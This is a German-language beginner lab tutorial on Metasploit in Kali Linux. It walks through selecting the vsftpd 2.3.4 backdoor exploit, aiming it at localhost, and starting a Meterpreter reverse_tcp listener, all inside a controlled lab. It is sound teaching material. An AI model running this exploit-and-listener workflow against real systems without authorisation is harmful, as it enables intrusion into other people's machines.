Einführung
In diesem Lab lernen Sie die Grundlagen von Penetrationstests mit Kali Linux in einer kontrollierten Umgebung auf der LabEx-VM kennen. Der Fokus liegt auf der Nutzung des leistungsstarken Metasploit Frameworks, um Schwachstellen zu identifizieren, Payloads zu konfigurieren, Exploits auszuführen und über eine Meterpreter-Sitzung mit kompromittierten Systemen zu interagieren. Dieses Lab wurde für Anfänger konzipiert und führt Sie Schritt für Schritt durch grundlegende Cybersicherheitstechniken in einer sicheren und strukturierten Umgebung. Wenn Sie das Terminal öffnen, werden Sie automatisch mit der Shell des Kali Linux-Containers verbunden und können sofort mit der Praxis beginnen, ohne den Container manuell starten oder betreten zu müssen.
Starten des Metasploit Frameworks
Im ersten Schritt starten Sie das Metasploit Framework, ein zentrales Werkzeug für Penetrationstests in Kali Linux. Dieser Schritt ist essenziell, da er die Umgebung für die Identifizierung und Ausnutzung von Schwachstellen in den späteren Schritten vorbereitet.
Wenn Sie das Terminal in der LabEx-VM öffnen, werden Sie automatisch mit der Shell des Kali Linux-Containers verbunden. Sie müssen den Container nicht manuell starten oder die Shell betreten; die Umgebung ist bereits für Sie konfiguriert.
Bevor Sie Metasploit verwenden, müssen Sie sicherstellen, dass es im Kali Linux-Container installiert ist. Aktualisieren Sie zunächst die Paketliste, indem Sie den folgenden Befehl im Terminal eingeben und Enter drücken:
apt update
Installieren Sie anschließend das Metasploit Framework. Diese Installation kann einige Minuten dauern, bitte warten Sie, bis sie abgeschlossen ist.
apt install -y metasploit-framework
Sobald die Installation abgeschlossen ist, starten Sie die Metasploit-Konsole, indem Sie den folgenden Befehl eingeben und Enter drücken:
msfconsole
Beim ersten Ausführen dieses Befehls kann die Initialisierung einen Moment dauern, da die Datenbank eingerichtet und Module geladen werden. Sie sehen ein ASCII-Art-Banner und eine Eingabeaufforderung, die in etwa so aussieht, wenn Metasploit startet:
Metasploit Framework
...
msf6 >
Die Eingabeaufforderung msf6 > zeigt an, dass Sie sich nun in der Metasploit-Konsole befinden und bereit sind, mit dem Framework zu interagieren. Beenden Sie die Konsole nicht, da Sie sie im nächsten Schritt benötigen, um nach einem Exploit zu suchen und diesen auszuwählen.
Suchen und Auswählen eines Exploits
Nachdem Sie das Metasploit Framework gestartet haben, besteht der nächste Schritt darin, einen Exploit zu suchen und auszuwählen. Ein Exploit ist ein Programmcode, der eine Software-Schwachstelle ausnutzt, um ein unbeabsichtigtes Verhalten hervorzurufen, wie beispielsweise den unbefugten Zugriff auf ein System.
Da Sie sich bereits in der Metasploit-Konsole befinden (mit der msf6 > Eingabeaufforderung), suchen wir nach einem Exploit für FTP (File Transfer Protocol), einen gängigen Dienst, der anfällig sein kann. Geben Sie den folgenden Befehl ein und drücken Sie Enter:
search ftp
Dieser Befehl listet Exploits und Hilfsmodule (Auxiliary Modules) auf, die mit FTP in Verbindung stehen. Die Ausgabe zeigt eine Tabelle der passenden Module.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
2 auxiliary/scanner/ftp/anonymous normal No FTP Anonymous Access Scanner
...
Für dieses Lab verwenden wir den Exploit vsftpd_234_backdoor. Um ihn auszuwählen, verwenden Sie den Befehl use, gefolgt vom Namen des Exploits.
use exploit/unix/ftp/vsftpd_234_backdoor
Nachdem Sie den Exploit ausgewählt haben, ändert sich Ihre Eingabeaufforderung und zeigt den Namen des Exploits an, was bedeutet, dass er nun das aktive Modul ist.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Um detaillierte Informationen über den ausgewählten Exploit zu erhalten, einschließlich seiner Optionen und Anforderungen, geben Sie den Befehl info ein.
info
Die Ausgabe liefert Details wie Plattform, Architektur und verfügbare Ziele.
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
Sie haben nun erfolgreich einen Exploit ausgewählt. Im nächsten Schritt konfigurieren Sie eine Payload für diesen Exploit.
Hinweis: Labby kann die Vorgänge in der msf-Shell nicht erfassen, daher werden die folgenden Schritte nicht verifiziert.
Konfigurieren des Exploits und der Payload
Nachdem der Exploit ausgewählt ist, müssen Sie nun dessen Optionen konfigurieren und das Verhalten der Payload überprüfen. Eine Payload ist der Code, der auf dem Zielsystem ausgeführt wird, nachdem ein Exploit erfolgreich war. In aktuellen Metasploit-Versionen läuft dieses Modul oft mit seinem Standardverhalten und akzeptiert möglicherweise keine manuelle Payload-Auswahl.
Wichtig: Bevor Sie eine Payload festlegen, ist es entscheidend zu prüfen, welche Payloads mit Ihrem ausgewählten Exploit kompatibel sind. Verwenden Sie den folgenden Befehl, um alle kompatiblen Payloads anzuzeigen:
show payloads
Dieser Befehl zeigt Payloads an, die mit vsftpd_234_backdoor kompatibel sind. In einigen Metasploit-Versionen erscheint cmd/unix/interact; in anderen fehlt es möglicherweise oder wird als ungültig behandelt.
set payload cmd/unix/interact
Falls dieser Befehl einen Fehler wie The value specified is not valid zurückgibt, fahren Sie fort, ohne eine Payload festzulegen, und behalten Sie die Standardeinstellungen des Moduls bei.
Als Nächstes müssen Sie die Exploit-Optionen konfigurieren. Die Option RHOST (Remote Host) gibt die IP-Adresse der Zielmaschine an. Für diese Simulation setzen wir sie auf 127.0.0.1.
set RHOST 127.0.0.1
Wichtiger Hinweis: Für diesen Exploit-Workflow müssen Sie LHOST oder LPORT nicht festlegen, bevor Sie den Exploit ausführen.
Um alle Einstellungen zu überprüfen, verwenden Sie den Befehl show options.
show options
Dies zeigt eine Tabelle der Optionen für den Exploit an. Überprüfen Sie, ob RHOST korrekt gesetzt ist.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Ihr Exploit und Ihre Payload sind nun konfiguriert und bereit für die Ausführung im nächsten Schritt.
Ausführen des Exploits
Nachdem Sie den Exploit und die Payload konfiguriert haben, sind Sie nun bereit, ihn auszuführen. Der Befehl exploit weist Metasploit an, den Angriff gegen das angegebene Ziel (RHOST) zu starten.
Geben Sie in Ihrer Metasploit-Konsole einfach den folgenden Befehl ein und drücken Sie Enter:
exploit
Metasploit wird versuchen, den Exploit auszuführen. Da in dieser Lab-Umgebung kein tatsächlich verwundbarer VSFTPD-Dienst auf 127.0.0.1 läuft, wird der Exploit fehlschlagen. Dies ist zu erwarten und demonstriert den Prozess des Startens eines Angriffs.
Die Ausgabe zeigt, dass Metasploit versucht hat, eine Verbindung zum Ziel-FTP-Dienst herzustellen, dies jedoch fehlgeschlagen ist, da der Dienst nicht läuft:
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
Hinweis: Dieser Exploit-Workflow erfordert nicht das vorherige Starten eines Reverse-Shell-Listeners. Wäre das Ziel verwundbar und erreichbar, würde Metasploit versuchen, eine interaktive Befehlssitzung zu öffnen.
Die Meldung Exploit completed, but no session was created bestätigt das Fehlschlagen. In einem erfolgreichen Szenario mit einem verwundbaren VSFTPD-Dienst würde dies eine interaktive Befehlsshell-Sitzung aufbauen, die es Ihnen ermöglicht, Befehle direkt auf dem Zielsystem auszuführen. Dieser Schritt vermittelt Ihnen den grundlegenden Befehl zum Starten eines Exploits, was einen Kernbestandteil des Penetrationstest-Workflows darstellt.
Einrichten eines Meterpreter-Listeners
In diesem letzten Schritt lernen Sie, wie Sie einen Listener für eine Meterpreter-Payload einrichten. Meterpreter ist eine fortschrittliche, funktionsreiche Payload, die eine interaktive Shell auf dem Zielsystem bereitstellt. Anstatt einen Exploit zu starten, verwenden Sie das Modul exploit/multi/handler, um auf eingehende Verbindungen zu warten. Dies ist nützlich, wenn ein Exploit auf anderem Wege (z. B. über eine schädliche Datei) übermittelt wird und Sie die Reverse-Verbindung abfangen müssen.
Wechseln Sie zunächst zum Modul multi/handler.
use exploit/multi/handler
Ihre Eingabeaufforderung ändert sich, um das neue Modul widerzuspiegeln.
msf6 exploit(multi/handler) >
Legen Sie als Nächstes eine Meterpreter-Payload fest. Wir verwenden eine, die für Linux-Systeme entwickelt wurde. Der Payload-Name linux/x86/meterpreter/reverse_tcp folgt einer logischen Struktur: <Plattform>/<Architektur>/<Typ>/<Protokoll>. Er spezifiziert eine Linux-Plattform, x86-Architektur, einen Meterpreter-Payload-Typ und ein Reverse-TCP-Verbindungsprotokoll.
set payload linux/x86/meterpreter/reverse_tcp
Konfigurieren Sie nun die Listener-Optionen LHOST und LPORT, genau wie Sie es zuvor getan haben.
set LHOST 127.0.0.1
Hinweis: Möglicherweise sehen Sie eine Warnmeldung bezüglich der Bindung an eine Loopback-Adresse. Dies ist normal, wenn Sie localhost (127.0.0.1) verwenden, und kann für dieses Lab getrost ignoriert werden.
set LPORT 4444
Starten Sie schließlich den Listener mit dem Befehl exploit.
exploit
Metasploit startet einen Listener auf der angegebenen IP und dem Port und wartet darauf, dass sich eine Meterpreter-Sitzung verbindet.
[*] Started reverse TCP handler on 127.0.0.1:4444
Die Konsole bleibt aktiv und wartet auf eine Verbindung. In einem realen Szenario würde, wenn eine Zielmaschine die entsprechende Meterpreter-Payload ausführt, hier eine Sitzung aufgebaut werden. Da sich in diesem Lab kein Ziel verbinden wird, können Sie den Listener durch Drücken von Ctrl + C stoppen.
Um die Metasploit-Konsole zu verlassen, geben Sie exit ein und drücken Sie Enter.
Zusammenfassung
In diesem Lab haben Sie die grundlegenden Schritte von Penetrationstests mit Kali Linux und dem Metasploit Framework kennengelernt. Sie haben mit dem Starten von Metasploit begonnen, nach einem Exploit gesucht und diesen ausgewählt, die Kompatibilität der Payload überprüft, Exploit-Optionen konfiguriert und den Angriff in einer simulierten Umgebung ausgeführt. Sie haben außerdem gelernt, wie man einen eigenständigen Listener für eine fortschrittliche Meterpreter-Payload einrichtet. Diese Schritte bieten eine praktische Einführung in den Kern-Workflow der Identifizierung von Schwachstellen, der Vorbereitung von Payloads und dem Verständnis des Exploitation-Prozesses. Durch diesen strukturierten Ansatz haben Sie praktische Erfahrungen mit essenziellen Cybersicherheits-Tools und -Techniken gesammelt.


